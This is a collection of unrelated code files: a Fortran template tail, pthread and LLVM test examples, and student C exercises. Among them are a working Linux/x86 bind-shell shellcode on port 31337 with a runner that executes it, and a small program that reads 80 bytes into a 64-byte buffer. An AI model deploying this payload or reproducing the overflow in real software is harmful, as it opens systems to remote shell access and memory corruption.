" ErrMsg = ''",
"",
"",
"",
" IF ( PRESENT( dYdx ) ) THEN",
"",
" ! Calculate the partial derivative of the output functions (Y) with respect to the continuous states (x) here:",
"",
" ! allocate and set dYdx",
"",
" END IF",
"",
" IF ( PRESENT( dXdx ) ) THEN",
"",
" ! Calculate the partial derivative of the continuous state functions (X) with respect to the continuous states (x) here:",
"",
" ! allocate and set dXdx",
"",
" END IF",
"",
" IF ( PRESENT( dXddx ) ) THEN",
"",
" ! Calculate the partial derivative of the discrete state functions (Xd) with respect to the continuous states (x) here:",
"",
" ! allocate and set dXddx",
"",
" END IF",
"",
" IF ( PRESENT( dZdx ) ) THEN",
"",
"",
" ! Calculate the partial derivative of the constraint state functions (Z) with respect to the continuous states (x) here:",
"",
" ! allocate and set dZdx",
"",
" END IF",
"",
"",
"END SUBROUTINE ModName_JacobianPContState",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> Routine to compute the Jacobians of the output (Y), continuous- (X), discrete- (Xd), and constraint-state (Z) functions",
"!! with respect to the discrete states (xd). The partial derivatives dY/dxd, dX/dxd, dXd/dxd, and dZ/dxd are returned.",
"SUBROUTINE ModName_JacobianPDiscState( t, u, p, x, xd, z, OtherState, y, m, ErrStat, ErrMsg, dYdxd, dXdxd, dXddxd, dZdxd )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Time in seconds at operating point",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at operating point (may change to inout if a mesh copy is required)",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at operating point",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at operating point",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at operating point",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at operating point",
" TYPE(ModName_OutputType), INTENT(IN ) :: y !< Output (change to inout if a mesh copy is required);",
" !! Output fields are not used by this routine, but type is",
" !! available here so that mesh parameter information (i.e.,",
" !! connectivity) does not have to be recalculated for dYdxd.",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: m !< Misc/optimization variables",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dYdxd(:,:) !< Partial derivatives of output functions",
" !! (Y) with respect to the discrete",
" !! states (xd) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXdxd(:,:) !< Partial derivatives of continuous state",
" !! functions (X) with respect to the",
" !! discrete states (xd) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXddxd(:,:)!< Partial derivatives of discrete state",
" !! functions (Xd) with respect to the",
" !! discrete states (xd) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dZdxd(:,:) !< Partial derivatives of constraint state",
" !! functions (Z) with respect to the",
" !! discrete states (xd) [intent in to avoid deallocation]",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
"",
" IF ( PRESENT( dYdxd ) ) THEN",
"",
" ! Calculate the partial derivative of the output functions (Y) with respect to the discrete states (xd) here:",
"",
" ! allocate and set dYdxd",
"",
" END IF",
"",
" IF ( PRESENT( dXdxd ) ) THEN",
"",
" ! Calculate the partial derivative of the continuous state functions (X) with respect to the discrete states (xd) here:",
"",
" ! allocate and set dXdxd",
"",
" END IF",
"",
" IF ( PRESENT( dXddxd ) ) THEN",
"",
" ! Calculate the partial derivative of the discrete state functions (Xd) with respect to the discrete states (xd) here:",
"",
" ! allocate and set dXddxd",
"",
" END IF",
"",
" IF ( PRESENT( dZdxd ) ) THEN",
"",
" ! Calculate the partial derivative of the constraint state functions (Z) with respect to the discrete states (xd) here:",
"",
" ! allocate and set dZdxd",
"",
" END IF",
"",
"",
"END SUBROUTINE ModName_JacobianPDiscState",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> Routine to compute the Jacobians of the output (Y), continuous- (X), discrete- (Xd), and constraint-state (Z) functions",
"!! with respect to the constraint states (z). The partial derivatives dY/dz, dX/dz, dXd/dz, and dZ/dz are returned.",
"SUBROUTINE ModName_JacobianPConstrState( t, u, p, x, xd, z, OtherState, y, m, ErrStat, ErrMsg, dYdz, dXdz, dXddz, dZdz )",
"!..................................................................................................................................",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Time in seconds at operating point",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at operating point (may change to inout if a mesh copy is required)",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at operating point",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at operating point",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at operating point",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at operating point",
" TYPE(ModName_OutputType), INTENT(IN ) :: y !< Output (change to inout if a mesh copy is required);",
" !! Output fields are not used by this routine, but type is",
" !! available here so that mesh parameter information (i.e.,",
" !! connectivity) does not have to be recalculated for dYdz.",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: m !< Misc/optimization variables",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dYdz(:,:) !< Partial derivatives of output",
" !! functions (Y) with respect to the",
" !! constraint states (z) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXdz(:,:) !< Partial derivatives of continuous",
" !! state functions (X) with respect to",
" !! the constraint states (z) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dXddz(:,:) !< Partial derivatives of discrete state",
" !! functions (Xd) with respect to the",
" !! constraint states (z) [intent in to avoid deallocation]",
" REAL(R8Ki), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dZdz(:,:) !< Partial derivatives of constraint",
" !! state functions (Z) with respect to",
" !! the constraint states (z) [intent in to avoid deallocation]",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
" IF ( PRESENT( dYdz ) ) THEN",
"",
" ! Calculate the partial derivative of the output functions (Y) with respect to the constraint states (z) here:",
"",
" ! allocate and set dYdz",
"",
" END IF",
"",
" IF ( PRESENT( dXdz ) ) THEN",
"",
" ! Calculate the partial derivative of the continuous state functions (X) with respect to the constraint states (z) here:",
"",
" ! allocate and set dXdz",
"",
" END IF",
"",
" IF ( PRESENT( dXddz ) ) THEN",
"",
" ! Calculate the partial derivative of the discrete state functions (Xd) with respect to the constraint states (z) here:",
"",
" ! allocate and set dXddz",
"",
" END IF",
"",
" IF ( PRESENT( dZdz ) ) THEN",
"",
" ! Calculate the partial derivative of the constraint state functions (Z) with respect to the constraint states (z) here:",
"",
" ! allocate and set dZdz",
"",
" END IF",
"",
"",
"END SUBROUTINE ModName_JacobianPConstrState",
"!----------------------------------------------------------------------------------------------------------------------------------",
"!> Routine to pack the data structures representing the operating points into arrays for linearization.",
"SUBROUTINE ModName_GetOP( t, u, p, x, xd, z, OtherState, y, m, ErrStat, ErrMsg, u_op, y_op, x_op, dx_op, xd_op, z_op )",
"",
" REAL(DbKi), INTENT(IN ) :: t !< Time in seconds at operating point",
" TYPE(ModName_InputType), INTENT(IN ) :: u !< Inputs at operating point (may change to inout if a mesh copy is required)",
" TYPE(ModName_ParameterType), INTENT(IN ) :: p !< Parameters",
" TYPE(ModName_ContinuousStateType), INTENT(IN ) :: x !< Continuous states at operating point",
" TYPE(ModName_DiscreteStateType), INTENT(IN ) :: xd !< Discrete states at operating point",
" TYPE(ModName_ConstraintStateType), INTENT(IN ) :: z !< Constraint states at operating point",
" TYPE(ModName_OtherStateType), INTENT(IN ) :: OtherState !< Other states at operating point",
" TYPE(ModName_OutputType), INTENT(IN ) :: y !< Output at operating point",
" TYPE(ModName_MiscVarType), INTENT(INOUT) :: m !< Misc/optimization variables",
" INTEGER(IntKi), INTENT( OUT) :: ErrStat !< Error status of the operation",
" CHARACTER(*), INTENT( OUT) :: ErrMsg !< Error message if ErrStat /= ErrID_None",
" REAL(ReKi), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: u_op(:) !< values of linearized inputs",
" REAL(ReKi), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: y_op(:) !< values of linearized outputs",
" REAL(ReKi), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: x_op(:) !< values of linearized continuous states",
" REAL(ReKi), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: dx_op(:) !< values of first time derivatives of linearized continuous states",
" REAL(ReKi), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: xd_op(:) !< values of linearized discrete states",
" REAL(ReKi), ALLOCATABLE, OPTIONAL, INTENT(INOUT) :: z_op(:) !< values of linearized constraint states",
"",
"",
" ! Initialize ErrStat",
"",
" ErrStat = ErrID_None",
" ErrMsg = ''",
"",
" IF ( PRESENT( u_op ) ) THEN",
"",
" END IF",
"",
" IF ( PRESENT( y_op ) ) THEN",
" END IF",
"",
" IF ( PRESENT( x_op ) ) THEN",
"",
" END IF",
"",
" IF ( PRESENT( dx_op ) ) THEN",
"",
" END IF",
"",
" IF ( PRESENT( xd_op ) ) THEN",
"",
" END IF",
"",
" IF ( PRESENT( z_op ) ) THEN",
"",
" END IF",
"",
"END SUBROUTINE ModName_GetOP",
"!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++",
"",
"END MODULE ModuleName",
"!**********************************************************************************************************************************",
0L } ;
|
the_stack_data/764519.c | // File name: ExtremeC_examples_chapter11_5_raw.c
// Description: This example is about five threads manipulating
// a heap allocated shared array. In this code, no
// control mechanism is employed.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h> // The POSIX standard header for using pthread library
#define CHECK_RESULT(result) \
if (result) { \
printf("A pthread error happened.\n"); \
exit(1); \
}
// Variables located in the data segment
int TRUE = 1;
int FALSE = 0;
// The pointer to the shared array (located in data segment)
char* shared_array;
// The size of the shared array (located in data segment)
unsigned int shared_array_len;
void* alloc_thread_body(void* arg) {
shared_array_len = 20;
shared_array = (char*)malloc(shared_array_len * sizeof(char*));
return NULL;
}
void* filler_thread_body(void* arg) {
int even = *((int*)arg);
char c = 'a';
size_t start_index = 1;
if (even) {
c = 'Z';
start_index = 0;
}
for (size_t i = start_index; i < shared_array_len; i += 2) {
shared_array[i] = even ? c-- : c++;
}
shared_array[shared_array_len - 1] = '\0';
return NULL;
}
void* printer_thread_body(void* arg) {
printf(">> %s\n", shared_array);
return NULL;
}
void* dealloc_thread_body(void* arg) {
free(shared_array);
return NULL;
}
int main(int argc, char** argv) {
shared_array = NULL;
pthread_t alloc_thread;
pthread_t even_filler_thread;
pthread_t odd_filler_thread;
pthread_t printer_thread;
pthread_t dealloc_thread;
pthread_attr_t attr;
pthread_attr_init(&attr);
int res = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
CHECK_RESULT(res);
res = pthread_create(&alloc_thread, &attr, alloc_thread_body, NULL);
CHECK_RESULT(res);
res = pthread_create(&even_filler_thread,
&attr, filler_thread_body, &TRUE);
CHECK_RESULT(res);
res = pthread_create(&odd_filler_thread,
&attr, filler_thread_body, &FALSE);
CHECK_RESULT(res);
res = pthread_create(&printer_thread, &attr, printer_thread_body, NULL);
CHECK_RESULT(res);
res = pthread_create(&dealloc_thread, &attr, dealloc_thread_body, NULL);
CHECK_RESULT(res);
pthread_exit(NULL);
return 0;
}
|
the_stack_data/26542.c | //===-- addsf3vfp_test.c - Test __addsf3vfp -------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file tests __addsf3vfp for the compiler_rt library.
//
//===----------------------------------------------------------------------===//
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
extern float __addsf3vfp(float a, float b);
#if __arm__
int test__addsf3vfp(float a, float b)
{
float actual = __addsf3vfp(a, b);
float expected = a + b;
if (actual != expected)
printf("error in test__addsf3vfp(%f, %f) = %f, expected %f\n",
a, b, actual, expected);
return actual != expected;
}
#endif
int main()
{
#if __arm__
if (test__addsf3vfp(1.0, 1.0))
return 1;
if (test__addsf3vfp(HUGE_VALF, HUGE_VALF))
return 1;
if (test__addsf3vfp(0.0, HUGE_VALF))
return 1;
if (test__addsf3vfp(0.0, -0.0))
return 1;
#else
printf("skipped\n");
#endif
printf("PASS\n");
return 0;
}
|
the_stack_data/147939.c | #include <stdio.h>
#include <string.h>
typedef struct {
char no[10];
char name[10];
int score[3];
int sum;
double aver;
}stuData;
void ReadStuData(stuData* p) {
scanf("%s %s %d %d %d\n", p->no, p->name, &p->score[0], &p->score[1], &p->score[2]);
p->sum = p->score[0] + p->score[1] + p->score[2];
p->aver = p->sum / 3.0;
}
int main() {
#ifndef ONLINE_JUDGE
freopen("1.in", "r", stdin);
freopen("1.out", "w", stdout);
freopen("1.err", "w", stderr);
#endif
stuData a[5], * p = a;
int i = 0;
memset(a, 0, 240);
puts("姓名 总分 平均成绩 ");
for (;i < 5;i++) {
ReadStuData(a + i);
printf("%s %d %.1lf\n", (a + i)->name, (a + i)->sum, (a + i)->aver);
if (p->sum < (a + i)->sum)
p = a + i;
}
printf("总分数最高的学生信息如下:\n%s %s %d %d %d\n", p->no, p->name, p->score[0], p->score[1], p->score[2]);
#ifndef ONLINE_JUDGE
fclose(stdin);
fclose(stdout);
fclose(stderr);
#endif
return 0;
} |
the_stack_data/69846.c | #include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <iso646.h>
#include <stdbool.h>
//OK
typedef struct nodo{
char info;
struct nodo* esquerda;
struct nodo* direita;
} nodo;
nodo* createNodo(char info){
nodo* novo = malloc( sizeof(nodo) );
novo->info = info;
novo->esquerda = NULL;
novo->direita = NULL;
return novo;
}
//Inclusao de um nodo na Arvore
void insere_folha(nodo** arv, char info){
if ( *arv == NULL ){
*arv = createNodo(info);
} else {
//se a informacao e menor que a informacao da arvore, insere a esquerda
if ( info < (*arv)->info ){
puts("Inserindo à Esquerda...");
insere_folha(&(*arv)->esquerda, info);
//se a informacao e maior que a informacao da arvore, insere a direita
} else if ( info > (*arv)->info ){
puts("Inserindo à Direita...");
insere_folha(&(*arv)->direita, info);
}
}
}
//Caminhamento pre-ordem
void pre_ordem(nodo* arv){
if ( arv != NULL ) {
printf("%c \n", arv->info);
if ( arv->esquerda != NULL ){
puts("Nodo Esquerdo.");
pre_ordem(arv->esquerda);
}
if ( arv->direita != NULL ){
puts("Nodo Direito.");
pre_ordem(arv->direita);
}
}
}
//Caminhamento em-ordem
void em_ordem(nodo* arv){
if ( arv != NULL ){
if ( arv->esquerda != NULL ){
puts("Nodo Esquerdo.");
em_ordem(arv->esquerda);
}
printf("%c \n", arv->info);
if ( arv->direita != NULL ){
puts("Nodo Direito.");
em_ordem(arv->direita);
}
}
}
//Caminhamento pos-ordem
void pos_ordem(nodo * arv){
if ( arv != NULL ){
if ( arv->esquerda != NULL ){
puts("Nodo Esquerdo.");
pos_ordem(arv->esquerda);
}
if ( arv->direita != NULL ){
puts("Nodo direito.");
pos_ordem(arv->direita);
}
printf("%c\n", arv->info);
}
}
void pesquisar_nodo(nodo* arv, char pesq){
if ( arv != NULL ){
if ( arv->info == pesq ){
printf("Nodo encontrado: %c\n", arv->info);
} else {
if ( pesq > arv->info ){
puts("Pesquisando a direita...");
pesquisar_nodo(arv->direita, pesq);
} else {
puts("Pesquisando a esquerda...");
pesquisar_nodo(arv->esquerda, pesq);
}
}
} else
puts("Nodo não encontrado.");
}
void createMenu(){
printf(
"Operações sobre Árvores\n"
"Selecione a opção desejada:\n"
"1. Incluir Folha\n"
"2. Caminhar em Pré-Ordem\n"
"3. Caminhar em Ordem\n"
"4. Caminhar em Pós-Ordem\n"
"5. Pesquisar nodos na Árvore\n"
"0. Sair\n"
"Opção? "
);
}
int main( void ){
setlocale( LC_ALL, "portuguese-brazilian" );
int option = 0;
char info = '\0';
nodo* arv = NULL;
while ( true ) {
createMenu();
scanf( "%i", &option );
system( "clear" );
switch ( option ){
case 1:
info = '\0';
while ( info != '@' ){
printf("Informe a letra a inserir na Árvore (ou @ para sair): ");
scanf( " %c", &info );
if ( info != '@' ) insere_folha(&arv, info);
}
break;
case 2:
pre_ordem(arv);
break;
case 3:
em_ordem(arv);
break;
case 4:
pos_ordem(arv);
break;
case 5:
printf("Informe a letra a ser pesquisada na Árvore: ");
scanf(" %c", &info);
pesquisar_nodo(arv, info);
break;
case 0:
exit( EXIT_SUCCESS );
break;
default:
puts("Opção inválida!");
}
}
return ( EXIT_SUCCESS );
}
|
the_stack_data/25137650.c | /*
Title : tcpbindshell (108 bytes)
Date : 15 May 2013
Author : Russell Willis <[email protected]>
Testd on: Linux/x86 (SMP Debian 3.2.41-2 i686)
$ objdump -D tcpbindshell -M intel
tcpbindshell: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 db xor ebx,ebx
8048064: 31 c9 xor ecx,ecx
8048066: 31 d2 xor edx,edx
8048068: b0 66 mov al,0x66
804806a: b3 01 mov bl,0x1
804806c: 51 push ecx
804806d: 6a 06 push 0x6
804806f: 6a 01 push 0x1
8048071: 6a 02 push 0x2
8048073: 89 e1 mov ecx,esp
8048075: cd 80 int 0x80
8048077: 89 c6 mov esi,eax
8048079: b0 66 mov al,0x66
804807b: b3 02 mov bl,0x2
804807d: 52 push edx
804807e: 66 68 7a 69 pushw 0x697a
8048082: 66 53 push bx
8048084: 89 e1 mov ecx,esp
8048086: 6a 10 push 0x10
8048088: 51 push ecx
8048089: 56 push esi
804808a: 89 e1 mov ecx,esp
804808c: cd 80 int 0x80
804808e: b0 66 mov al,0x66
8048090: b3 04 mov bl,0x4
8048092: 6a 01 push 0x1
8048094: 56 push esi
8048095: 89 e1 mov ecx,esp
8048097: cd 80 int 0x80
8048099: b0 66 mov al,0x66
804809b: b3 05 mov bl,0x5
804809d: 52 push edx
804809e: 52 push edx
804809f: 56 push esi
80480a0: 89 e1 mov ecx,esp
80480a2: cd 80 int 0x80
80480a4: 89 c3 mov ebx,eax
80480a6: 31 c9 xor ecx,ecx
80480a8: b1 03 mov cl,0x3
080480aa <dupfd>:
80480aa: fe c9 dec cl
80480ac: b0 3f mov al,0x3f
80480ae: cd 80 int 0x80
80480b0: 75 f8 jne 80480aa <dupfd>
80480b2: 31 c0 xor eax,eax
80480b4: 52 push edx
80480b5: 68 6e 2f 73 68 push 0x68732f6e
80480ba: 68 2f 2f 62 69 push 0x69622f2f
80480bf: 89 e3 mov ebx,esp
80480c1: 52 push edx
80480c2: 53 push ebx
80480c3: 89 e1 mov ecx,esp
80480c5: 52 push edx
80480c6: 89 e2 mov edx,esp
80480c8: b0 0b mov al,0xb
80480ca: cd 80 int 0x80
*/
#include <stdio.h>;
/*
Port High/Low bytes
Current port 31337 (7a69)
*/
#define PORTHL "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66"
"\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52"
"\x66\x68"PORTHL"\x66\x53\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04"
"\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3"
"\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3"
"\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
"\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
"\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
|
the_stack_data/173577091.c | /*
### Esercizio ###
Si scriva un programma C che, dati due vettori di uguale dimensione N (vbase e vexponent), elevi ciascun elemento del
vettore vbase alla potenza indicata nell’elemento di vexponent avente lo stesso indice (ossia
vbase[i] elevato a vexponent[i]).
I risultati dovranno essere memorizzati
nella corrispondente posizione di un terzo vettore denominato vris. Si utilizzi la
funzione power definita nel corso del precedente laboratorio e avente il seguente prototipo:
int power(int base, int exponent);
- Vengano inseriti prima i valori delle N basi e poi quelli degli N esponenti;
- vengano alla fine visualizzati i valori di vris.
Esempio:
Siano inseriti dall’utente i valori seguenti (per N pari a 5):
vbase = 5 2 7 4 9
vexponent = 2 6 1 8 3
Il vettore risultato sarà il seguente:
vris = 25 64 7 65536 729
Suggerimento: richiamare tante volte la funzione power quanti sono gli elementi
dei vettori e ogni volta salvare il contenuto in una posizione opportuna di vris.
*/
#include <stdio.h>
#include <math.h>
#define N 8
void fill(int vec[]) {
int i;
for (i = 0; i < N; ++i) {
vec[i] = i;
}
}
void print_vec(int vec[]) {
int i;
for (i = 0; i < N; ++i) {
printf("vec[%d]: %d\n", i, vec[i]);
}
}
int power(int base, int exponent) {
/* perche' sarebbe troppo ezy usare
* direttamente la libreria eh poli?
*/
return pow(base, exponent);
}
int main(void) {
int vbase[N], vexponent[N], vris[N];
int i;
/* insert values here */
fill(vbase);
fill(vexponent);
for (i = 0; i < N; ++i) {
vris[i] = power(vbase[i], vexponent[i]);
}
puts("== vbase ==");
print_vec(vbase);
puts("== vexponent ==");
print_vec(vexponent);
puts("== vris ==");
print_vec(vris);
return 0;
}
|
the_stack_data/31386430.c | #include <stdio.h>
#include <string.h>
#define MAXLINES 5000 /* max #lines to be sorted */
/* Add the option `-f` to fold upper and lower case together, so that case
* distinctions are not made during sorting; for example `a` and `A` compare
* equal. */
char *lineptr[MAXLINES]; /* pointers to text lines */
int readlines(char *lineptr[], int nlines);
void writelines(char *lineptr[], int nlines);
void qsort_(void *lineptr[], int left, int right, int (*comp)(void *, void *), int reverse);
int numcmp(void *, void *);
int strcmp_fold(void *, void *);
/* sort input lines */
int main(int argc, char *argv[]){
int nlines; /* number of input lines read */
int numeric = 0; /* 1 if numeric sort */
int reverse = 0; /* 1 if reverse order */
int fold = 0; /* 'A' and 'a' compare equal */
int c;
int (*strcmp_func)(void*,void*); /* pointer to strcmp function*/
while(--argc > 0 && (*++argv)[0] == '-')
while(c = *++argv[0])
switch(c){
case 'r':
reverse = 1;
break;
case 'n':
numeric = 1;
break;
case 'f':
fold = 1;
break;
default:
printf("find: illegal option %c\n", c);
argc = 0;
break;
}
printf("Line sort: Reverse %d\t Numeric %d\t fold %d\n", reverse, numeric, fold);
if(fold)
strcmp_func = &strcmp_fold;
else
strcmp_func = &strcmp;
if((nlines = readlines(lineptr, MAXLINES)) >= 0){
qsort_((void *) lineptr, 0, nlines-1, numeric ? numcmp : strcmp_func, reverse);
writelines(lineptr, nlines);
return 0;
} else{
printf("input too big to sort\n");
return 1;
}
}
/* qsort_: sort v[left]...v[right] into increasing order */
void qsort_(void *v[], int left, int right, int (*comp)(void *, void *), int reverse){
int i, last;
void swap(void *v[], int, int);
if(left >= right) /* do nothing if array contains */
return; /* fewer than two elements */
swap(v, left, (left + right)/2);
last = left;
for(i = left+1; i<= right; i++)
if(reverse^((*comp)(v[i], v[left]) < 0))
swap(v, ++last, i);
swap(v, left, last);
qsort_(v, left, last-1, comp, reverse);
qsort_(v, last+1, right, comp, reverse);
}
#include <stdlib.h>
/* numcmp: compare s1 and s2 numerically */
int numcmp(void *s1, void *s2){
double v1, v2;
v1 = atof((char*)s1);
v2 = atof((char*)s2);
if(v1 < v2)
return -1;
else if(v1 > v2)
return 1;
else
return 0;
}
char to_lower(char c);
/* strcmp_fold: lower and upper case letters compare equal */
int strcmp_fold(void *s, void *t){
int i;
char *s_c = (char*) s;
char *t_c = (char*) t;
char s_ch, t_ch;
for(i = 0; (s_ch = to_lower(s_c[i])) == (t_ch = to_lower(t_c[i])); i++)
if(s_ch == '\0')
return 0;
return s_ch - t_ch;
}
char to_lower(char c){
if( c >= 'A' && c <= 'Z'){
return c + 'a' - 'A';
}
return c;
}
void swap(void *v[], int i, int j){
void *temp;
temp = v[i];
v[i] = v[j];
v[j] = temp;
}
/* getline_: get line into s, return length */
int getline_(char s[], int lim){
int c, i;
i = 0;
while(--lim > 0 && (c = getchar()) != EOF && c != '\n')
s[i++] = c;
if(c == '\n')
s[i++] = c;
s[i] = '\0';
return i;
}
#define MAXLEN 1000 /* max length of any input line */
int getline_(char*, int);
char *alloc(int n); /* return pointer to n characters */
/* readlines: read input lines */
int readlines(char *lineptr[], int maxlines){
int len, nlines;
char *p, line[MAXLINES];
nlines = 0;
while((len = getline_(line, MAXLEN)) > 0)
if(nlines >= maxlines || (p = alloc(len)) == NULL)
return -1;
else {
line[len-1] = '\0'; /* delete newline */
strcpy(p, line);
lineptr[nlines++] = p;
}
return nlines;
}
/* writelines: write output lines */
void writelines(char *lineptr[], int nlines){
int i;
for(i = 0; i < nlines; i++){
printf("%d: %s\n", i, lineptr[i]);
}
}
/* writelines: write output lines (alternative version) */
void writelines_(char *lineptr[], int nlines){
while(nlines-- > 0)
printf("%s\n", *lineptr++);
}
#define ALLOCSIZE 10000 /* size of available space*/
void afree(char *p); /* free storage pointed to by p */
static char allocbuf[ALLOCSIZE]; /* storage for alloc */
static char *allocp = allocbuf; /* next free position */
char *alloc(int n){ /* return pointer to n characters */
if(allocbuf + ALLOCSIZE - allocp >= n){ /* if fits */
allocp += n;
return allocp - n; /* old p */
} else /* not enough space */
return 0;
}
void afree(char *p){ /* free storage pointed to by p */
if( p >= allocbuf && p < allocbuf + ALLOCSIZE)
allocp = p;
}
|
the_stack_data/132951686.c | #include <stdio.h>
#define TARGET 1001
int main(){
int size = 1;
int step = 2;
int curr = 1;
int res = 1;
while(size != TARGET){
for(int i=0; i<4; i++){
curr += step;
res += curr;
}
size += 2;
step += 2;
}
printf("If you can trust me, the number you are looking for is %d\n", res);
return 0;
}
|
the_stack_data/23575004.c | #include <stdio.h>
#include <stdlib.h>
/*
Relationship between array and pointers !
I learned we can do amazing stuff with dereferencing the pointers , because array name itself is address of its first element !
so simply (*arrayname = value of first element of it (index = 0))
as we go forward
(*(arrayname+1) = value of second element of it (index = 1))
*(arrayname+2) = value of third element of it (index = 2)
*(arrayname+3) = value of fourth element of it (index = 3)
*/
int main()
{
int value[5] = {1,58,12,12,6};
int i;
for(i=0;i<5;i++){
printf(" %d Value Address : %p\n",i+1,&value[i]);
}
printf("\n Address value = %p\n", value ); // is the address of first element
// now cool way to dereference the array value
printf("\n value of i = %d\n", *value ); // for first value
// now let us print all the values
/*To do that users just have to type (value + i))*/
// *( value + 0) first index value
// *( value + 1) two index value
// *( value + 2) three index value
// *( value + 3) four index value
// *( value + 4) five index value
for(i=0;i<5;i++){
printf("\n value of %d = %d\n",i+1,*(value + i ));
}
return 0;
}
|
the_stack_data/62636937.c | /*
************************************************
username : smmehrab
fullname : s.m.mehrabul islam
email : [email protected]
institute : university of dhaka, bangladesh
session : 2017-2018
************************************************
*/
#include<stdio.h>
#include <stdlib.h>
int main()
{
int n,i=1,c=1,p,q;
scanf("%d",&n);
int s[n],a;
while(i<=n)
{
s[i]=1;
i++;
}
scanf("%d",&p);
i=1;
while(i<=p)
{
scanf("%d",&a);
s[a]=0;
i++;
}
scanf("%d",&q);
i=1;
while(i<=q)
{
scanf("%d",&a);
s[a]=0;
i++;
}
//char temp;
/*do
{
scanf("%d%c", &a, &temp);
s[a]=0;
}while(temp == ' ');
do
{
scanf("%d%c", &a, &temp);
s[a]=0;
}while(temp == ' ');*/
i=1;
while(i<=n)
{
if(s[i]!=0)
{
c=0;
break;
}
i++;
}
if(c==1)
{
printf("I become the guy.\n");
}
else
{
printf("Oh, my keyboard!\n");
}
return 0;
}
|
the_stack_data/130237.c | #include<stdio.h>
#include<math.h>
struct coordinate
{
float x;
float y;
};
int main(){
struct coordinate cdt1 = {10,20};
struct coordinate cdt2 = {15,35};
float dis=sqrt((pow(cdt1.x-cdt2.x,2)+pow(cdt1.y-cdt2.y,2)));
printf("%.2f\n",dis);
return 0;
} |
the_stack_data/117571.c | #include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main() {
int control;
char buf1[64];
control = 32;
read(STDIN_FILENO, buf1, 80);
return 0;
} |
the_stack_data/38786.c | #include <stdio.h> // Archivo de cabecera para subrutinas de e/s
#include <stdlib.h> // Archivo de cabecera para subrutinas de utilidades
float a,b;
int main()
{ // Inicio
system("cls"); // Limpia pantallpa
printf("Dame el primer numero\n");
scanf("%f",&a);
printf("Valor inicial de a = %f\n",a);
b=++a;
printf("Valor de b en el momento de hacer la operacion ++a = %f\n",b);
printf("Valor de a después de hacer ++a = %f\n",a);
printf("Valor inicial de a = %f\n",a);
b=a++;
printf("Valor de b en el momento de hacer la operación a++ = %f\n",b);
printf("Valor de a después de hacer a++ = %f\n",a);
printf("Valor inicial de a = %f\n",a);
b=--a;
